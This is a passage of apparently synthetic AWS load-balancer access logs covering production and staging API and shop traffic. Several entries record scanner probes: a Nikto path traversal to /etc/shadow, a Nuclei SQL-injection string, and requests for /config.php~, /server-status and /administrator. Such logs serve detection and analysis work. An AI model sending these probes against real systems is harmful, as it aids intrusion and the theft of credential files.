"229.120.227.52:443" "200" "-" "-" +https 2024-11-01T01:16:01.576082Z prod-api-alb 71.210.14.12:62064 10.0.185.125:443 0.071687 0.231625 0.027187 200 200 538 10643 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c961-b02998fc15614fbabed5c08c" "prod-api-alb.example.com" "-" 4 2024-11-01T01:16:01.576082Z "forward" "-" "-" "10.0.185.125:443" "200" "-" "-" +http 2024-11-01T01:16:03.227298Z staging-alb 19.159.196.154:49920 194.23.207.252:80 0.010220 0.677896 0.148810 404 404 681 13691 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c963-64068d59bf6f4820b7697e80" "staging-alb.example.com" "-" 6 2024-11-01T01:16:03.227298Z "forward" "-" "-" "194.23.207.252:80" "404" "-" "-" +https 2024-11-01T01:16:04.274287Z prod-api-alb 167.216.239.181:26720 10.0.210.241:443 0.063558 0.399691 0.008979 200 200 865 7085 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c964-14ca2caf0dbd4067a1b85340" "prod-api-alb.example.com" "-" 4 2024-11-01T01:16:04.274287Z "forward" "-" "-" "10.0.210.241:443" "200" "-" "-" +https 2024-11-01T01:16:05.414064Z prod-api-alb 51.253.34.115:39786 10.0.166.62:443 0.077324 0.061125 0.066026 200 200 634 8648 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c965-0bd19d6f0f0846f38ba49e26" "prod-api-alb.example.com" "-" 0 2024-11-01T01:16:05.414064Z "forward" "-" "-" "10.0.166.62:443" "200" "-" "-" +http 2024-11-01T01:16:07.029137Z staging-alb 185.181.6.37:24953 209.85.14.146:443 0.093636 0.741244 0.043304 401 401 490 7669 "POST /config.php~ HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c967-a08475228d274d1e84553b63" "-" "-" 5 2024-11-01T01:16:07.029137Z "forward" "-" "-" "209.85.14.146:443" "401" "-" "-" +https 2024-11-01T01:16:07.161027Z prod-api-alb 124.0.196.76:63315 10.0.134.113:443 0.046748 0.401100 0.092719 302 302 809 12879 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c967-03cfd6dc94924daf89720391" "prod-api-alb.example.com" "-" 1 2024-11-01T01:16:07.161027Z "forward" "-" "-" "10.0.134.113:443" "302" "-" "-" +https 2024-11-01T01:16:08.215674Z prod-api-alb 237.193.119.196:23920 10.0.247.205:443 0.089544 0.075747 0.076798 301 301 789 12976 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c968-4136610904e64e628b9a622f" "prod-api-alb.example.com" "-" 2 2024-11-01T01:16:08.215674Z "forward" "-" "-" "10.0.247.205:443" "301" "-" "-" +https 2024-11-01T01:16:09.301786Z prod-web-alb 104.142.141.190:48461 10.0.180.10:443 0.031051 0.351211 0.068439 200 200 929 6999 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c969-ba544154f0a64b959c7c4b19" "-" "-" 5 2024-11-01T01:16:09.301786Z "forward" "-" "-" "10.0.180.10:443" "200" "-" "-" +https 2024-11-01T01:16:10.225691Z prod-api-alb 104.130.88.169:20405 10.0.82.147:443 0.045782 0.140607 0.013364 200 200 468 6143 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c96a-b4e594882b254a4ab977c907" "prod-api-alb.example.com" "-" 1 2024-11-01T01:16:10.225691Z "forward" "-" "-" "10.0.82.147:443" "200" "-" "-" +https 2024-11-01T01:16:11.723539Z prod-api-alb 81.125.133.210:41386 10.0.19.100:443 0.023553 0.273611 0.022725 200 200 978 4026 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c96b-659bc17c1e2d443685d90b8a" "prod-api-alb.example.com" "-" 10 2024-11-01T01:16:11.723539Z "forward" "-" "-" "10.0.19.100:443" "200" "-" "-" +https 2024-11-01T01:16:11.864117Z prod-web-alb 193.27.228.98:39484 10.0.144.253:443 0.098308 0.369929 0.000035 404 404 753 4218 "GET /images/../../../../etc/shadow HTTP/1.1" "nikto/2.1.6" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c96b-63885242c1cf4533a151dac2" "-" "-" 1 2024-11-01T01:16:11.864117Z "forward" "-" "-" "10.0.144.253:443" "404" "-" "-" +https 2024-11-01T01:16:13.663774Z staging-alb 127.142.248.221:48971 11.230.27.179:443 0.063522 0.311949 0.093568 200 200 840 4344 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c96d-fe80d22b06fb4e518c4da183" "-" "-" 8 2024-11-01T01:16:13.663774Z "forward" "-" "-" "11.230.27.179:443" "200" "-" "-" +https 2024-11-01T01:16:14.360772Z prod-web-alb 67.237.123.65:63917 10.0.131.134:443 0.005376 0.217255 0.053931 404 404 240 3976 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c96e-d10544de18d94a9c98e30598" "prod-web-alb.example.com" "-" 8 2024-11-01T01:16:14.360772Z "forward" "-" "-" "10.0.131.134:443" "404" "-" "-" +https 2024-11-01T01:16:14.741664Z staging-alb 19.164.69.38:59254 250.152.8.108:443 0.052122 0.520067 0.017549 200 200 341 14044 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c96e-bf0491456fae4cc2ade9ce83" "staging-alb.example.com" "-" 2 2024-11-01T01:16:14.741664Z "forward" "-" "-" "250.152.8.108:443" "200" "-" "-" +https 2024-11-01T01:16:16.488109Z prod-web-alb 248.193.180.49:23584 10.0.118.240:443 0.030015 0.269576 0.070550 200 200 111 2959 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c970-5c45d0a4e37b45329f4d9fcc" "prod-web-alb.example.com" "-" 6 2024-11-01T01:16:16.488109Z "forward" "-" "-" "10.0.118.240:443" "200" "-" "-" +https 2024-11-01T01:16:17.001795Z prod-api-alb 210.124.181.40:46654 10.0.228.129:443 0.094563 0.350330 0.066732 301 301 301 7070 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c971-f869220cb65241c0940153e0" "prod-api-alb.example.com" "-" 2 2024-11-01T01:16:17.001795Z "forward" "-" "-" "10.0.228.129:443" "301" "-" "-" +http 2024-11-01T01:16:18.140600Z staging-alb 92.193.44.109:12191 104.93.90.110:80 0.135619 0.461147 0.127372 404 404 87 5025 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c972-a1f79d12c9f94a2fb429d289" "staging-alb.example.com" "-" 7 2024-11-01T01:16:18.140600Z "forward" "-" "-" "104.93.90.110:80" "404" "-" "-" +https 2024-11-01T01:16:19.017077Z staging-alb 23.122.149.128:35631 187.116.213.189:80 0.091381 0.158448 0.116849 200 200 592 12717 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c973-115625629a3f4e668734263f" "staging-alb.example.com" "-" 5 2024-11-01T01:16:19.017077Z "forward" "-" "-" "187.116.213.189:80" "200" "-" "-" +http 2024-11-01T01:16:19.453937Z staging-alb 70.254.18.197:44787 179.151.140.177:8080 0.132388 0.563102 0.100150 200 200 287 6711 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c973-0363aa5b78154d41bdf399f7" "staging-alb.example.com" "-" 6 2024-11-01T01:16:19.453937Z "forward" "-" "-" "179.151.140.177:8080" "200" "-" "-" +https 2024-11-01T01:16:19.569804Z prod-api-alb 100.218.68.94:64423 10.0.8.14:443 0.060865 0.366028 0.040367 302 302 307 1575 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c973-98dd47fd053d4c9fbf5252a4" "prod-api-alb.example.com" "-" 5 2024-11-01T01:16:19.569804Z "forward" "-" "-" "10.0.8.14:443" "302" "-" "-" +http 2024-11-01T01:16:19.973453Z staging-alb 131.114.155.44:24002 154.205.144.75:443 0.032475 0.341911 0.144712 301 301 457 6877 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c973-203a5321430f4be1a7de42d3" "staging-alb.example.com" "-" 0 2024-11-01T01:16:19.973453Z "forward" "-" "-" "154.205.144.75:443" "301" "-" "-" +https 2024-11-01T01:16:20.590809Z prod-api-alb 129.173.251.130:32367 10.0.22.137:443 0.060582 0.180533 0.062243 301 301 565 9038 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c974-0d6bd25ee4e64912a9e79e85" "prod-api-alb.example.com" "-" 7 2024-11-01T01:16:20.590809Z "forward" "-" "-" "10.0.22.137:443" "301" "-" "-" +https 2024-11-01T01:16:22.034449Z prod-web-alb 169.12.14.1:31111 10.0.249.219:443 0.046151 0.454258 0.004758 200 200 54 10641 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c976-61cc3c3d51f84b26a87fe5b7" "prod-web-alb.example.com" "-" 2 2024-11-01T01:16:22.034449Z "forward" "-" "-" "10.0.249.219:443" "200" "-" "-" +https 2024-11-01T01:16:23.665247Z prod-api-alb 251.171.15.47:44087 10.0.16.59:443 0.086695 0.168212 0.034862 200 200 765 4590 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c977-814f33411113459988908222" "prod-api-alb.example.com" "-" 5 2024-11-01T01:16:23.665247Z "forward" "-" "-" "10.0.16.59:443" "200" "-" "-" +http 2024-11-01T01:16:23.828839Z staging-alb 194.229.172.104:34538 62.77.77.40:8080 0.065894 0.748274 0.133253 200 200 441 5652 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c977-8c8b38fbee7b40ef9f32e943" "staging-alb.example.com" "-" 6 2024-11-01T01:16:23.828839Z "forward" "-" "-" "62.77.77.40:8080" "200" "-" "-" +https 2024-11-01T01:16:25.404233Z prod-api-alb 119.219.11.205:47280 10.0.126.50:443 0.052570 0.266770 0.005905 200 200 817 2051 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c979-4a60b08457574130a8fb1d58" "prod-api-alb.example.com" "-" 9 2024-11-01T01:16:25.404233Z "forward" "-" "-" "10.0.126.50:443" "200" "-" "-" +https 2024-11-01T01:16:26.315859Z prod-api-alb 45.155.205.243:30949 10.0.117.158:443 0.032226 0.043827 0.045819 500 500 761 13538 "PUT /server-status HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c97a-c22214108f564bbea5567004" "-" "-" 3 2024-11-01T01:16:26.315859Z "forward" "-" "-" "10.0.117.158:443" "500" "-" "-" +http 2024-11-01T01:16:26.604797Z staging-alb 118.161.182.45:35591 110.170.104.152:8080 0.144419 0.549946 0.053077 200 200 718 11604 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c97a-3a5f0d98bc3d4c37b9b8b3dc" "staging-alb.example.com" "-" 8 2024-11-01T01:16:26.604797Z "forward" "-" "-" "110.170.104.152:8080" "200" "-" "-" +https 2024-11-01T01:16:28.421499Z prod-api-alb 144.149.105.158:37549 10.0.221.29:443 0.003407 0.003377 0.028696 301 301 337 12750 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c97c-909560b135e34dad89f8a4dd" "prod-api-alb.example.com" "-" 8 2024-11-01T01:16:28.421499Z "forward" "-" "-" "10.0.221.29:443" "301" "-" "-" +https 2024-11-01T01:16:30.347097Z prod-web-alb 211.18.176.14:24456 10.0.159.53:443 0.049982 0.031950 0.032563 200 200 221 7090 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c97e-8ca6669011564bb6856315c4" "prod-web-alb.example.com" "-" 1 2024-11-01T01:16:30.347097Z "forward" "-" "-" "10.0.159.53:443" "200" "-" "-" +https 2024-11-01T01:16:32.311845Z staging-alb 92.242.128.144:41751 250.76.44.242:80 0.088918 0.106450 0.036363 200 200 109 10898 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c980-0c7c3a12991c45cba23601df" "-" "-" 6 2024-11-01T01:16:32.311845Z "forward" "-" "-" "250.76.44.242:80" "200" "-" "-" +https 2024-11-01T01:16:33.921190Z prod-api-alb 245.73.176.155:15933 10.0.173.52:443 0.013847 0.360993 0.018763 200 200 527 14625 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c981-4b1514bda25b46e18051207c" "prod-api-alb.example.com" "-" 8 2024-11-01T01:16:33.921190Z "forward" "-" "-" "10.0.173.52:443" "200" "-" "-" +https 2024-11-01T01:16:35.510839Z staging-alb 200.180.110.180:16148 48.120.117.80:8080 0.099728 0.736984 0.144222 404 404 693 6747 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c983-d4edecef4c1c492a99ad6f0c" "staging-alb.example.com" "-" 6 2024-11-01T01:16:35.510839Z "forward" "-" "-" "48.120.117.80:8080" "404" "-" "-" +https 2024-11-01T01:16:36.295244Z prod-web-alb 206.68.185.92:25243 10.0.222.241:443 0.097441 0.465254 0.096682 301 301 443 9575 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c984-4b238e21be164b6bb140f834" "prod-web-alb.example.com" "-" 1 2024-11-01T01:16:36.295244Z "forward" "-" "-" "10.0.222.241:443" "301" "-" "-" +https 2024-11-01T01:16:36.933866Z prod-api-alb 74.15.122.18:28314 10.0.105.82:443 0.086251 0.113640 0.042569 200 200 902 11219 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c984-8b1d1aa33b814f7599bd99a2" "prod-api-alb.example.com" "-" 2 2024-11-01T01:16:36.933866Z "forward" "-" "-" "10.0.105.82:443" "200" "-" "-" +https 2024-11-01T01:16:38.890903Z prod-web-alb 209.228.98.99:36655 10.0.164.218:443 0.001021 0.314579 0.080011 200 200 884 7955 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c986-bc458ce0de5648639aa1b1dc" "prod-web-alb.example.com" "-" 8 2024-11-01T01:16:38.890903Z "forward" "-" "-" "10.0.164.218:443" "200" "-" "-" +https 2024-11-01T01:16:39.932365Z staging-alb 245.208.197.54:45389 196.65.218.192:8080 0.041330 0.052181 0.132427 404 404 141 5006 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c987-1c41602a3afb4143bd2fb143" "staging-alb.example.com" "-" 6 2024-11-01T01:16:39.932365Z "forward" "-" "-" "196.65.218.192:8080" "404" "-" "-" +https 2024-11-01T01:16:41.825744Z prod-api-alb 100.207.26.234:52675 10.0.217.171:443 0.012912 0.127318 0.010211 302 302 350 2379 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c989-734f845206584f0296afc4f2" "prod-api-alb.example.com" "-" 1 2024-11-01T01:16:41.825744Z "forward" "-" "-" "10.0.217.171:443" "302" "-" "-" +https 2024-11-01T01:16:43.543825Z prod-web-alb 103.174.254.143:54594 10.0.184.46:443 0.056926 0.191770 0.080930 301 301 440 11555 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c98b-9378049b84fe4887844aba15" "prod-web-alb.example.com" "-" 4 2024-11-01T01:16:43.543825Z "forward" "-" "-" "10.0.184.46:443" "301" "-" "-" +https 2024-11-01T01:16:44.687226Z prod-api-alb 243.31.14.139:32428 10.0.10.118:443 0.037135 0.085911 0.028392 200 200 858 9369 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c98c-3c37e80075104474abcb8b1f" "prod-api-alb.example.com" "-" 1 2024-11-01T01:16:44.687226Z "forward" "-" "-" "10.0.10.118:443" "200" "-" "-" +https 2024-11-01T01:16:45.560591Z prod-api-alb 232.180.83.183:61098 10.0.124.29:443 0.097701 0.476444 0.085900 200 200 780 11616 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c98d-5abc2cd38ad94b0791a35ad8" "prod-api-alb.example.com" "-" 1 2024-11-01T01:16:45.560591Z "forward" "-" "-" "10.0.124.29:443" "200" "-" "-" +https 2024-11-01T01:16:45.941966Z prod-api-alb 229.100.87.47:45282 10.0.194.237:443 0.037323 0.328084 0.014668 404 404 838 9287 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c98d-2bfe6e116041416c9edac29a" "prod-api-alb.example.com" "-" 9 2024-11-01T01:16:45.941966Z "forward" "-" "-" "10.0.194.237:443" "404" "-" "-" +https 2024-11-01T01:16:47.128563Z prod-web-alb 193.27.228.75:18578 10.0.94.208:443 0.034207 0.131318 0.096006 401 401 988 9372 "POST /administrator HTTP/1.1" "" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c98f-c1fd900c90604d768e02ecb7" "-" "-" 6 2024-11-01T01:16:47.128563Z "forward" "-" "-" "10.0.94.208:443" "401" "-" "-" +https 2024-11-01T01:16:47.238119Z prod-api-alb 70.179.114.179:23788 10.0.125.253:443 0.054942 0.408248 0.013802 200 200 351 7799 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c98f-8c01fa07858d4604a01fcdc3" "prod-api-alb.example.com" "-" 2 2024-11-01T01:16:47.238119Z "forward" "-" "-" "10.0.125.253:443" "200" "-" "-" +https 2024-11-01T01:16:48.439528Z prod-api-alb 177.135.139.232:13287 10.0.220.217:443 0.068732 0.474653 0.047007 301 301 487 11818 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c990-df34c39c8f11468e93a46a9f" "prod-api-alb.example.com" "-" 6 2024-11-01T01:16:48.439528Z "forward" "-" "-" "10.0.220.217:443" "301" "-" "-" +https 2024-11-01T01:16:49.539171Z prod-web-alb 180.99.75.207:36384 10.0.212.168:443 0.065708 0.055524 0.082430 200 200 180 14052 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c991-3d214941a4d94802a4e18f23" "prod-web-alb.example.com" "-" 6 2024-11-01T01:16:49.539171Z "forward" "-" "-" "10.0.212.168:443" "200" "-" "-" +https 2024-11-01T01:16:50.158375Z prod-web-alb 165.31.254.14:24989 10.0.216.78:443 0.046922 0.101999 0.014243 200 200 62 1827 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c992-617099c937794352a24132b4" "prod-web-alb.example.com" "-" 2 2024-11-01T01:16:50.158375Z "forward" "-" "-" "10.0.216.78:443" "200" "-" "-" +https 2024-11-01T01:16:51.105158Z prod-web-alb 1.142.48.50:10672 10.0.14.31:443 0.045440 0.279381 0.001354 200 200 498 1158 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c993-173831401ebd42c7a7247b72" "prod-web-alb.example.com" "-" 1 2024-11-01T01:16:51.105158Z "forward" "-" "-" "10.0.14.31:443" "200" "-" "-" +https 2024-11-01T01:16:53.102697Z prod-api-alb 45.155.205.16:50516 10.0.10.118:443 0.047368 0.046183 0.016311 200 200 712 5310 "GET /login?id=1'-- HTTP/1.1" "Nuclei/2.9.1 (https://nuclei.projectdiscovery.io)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 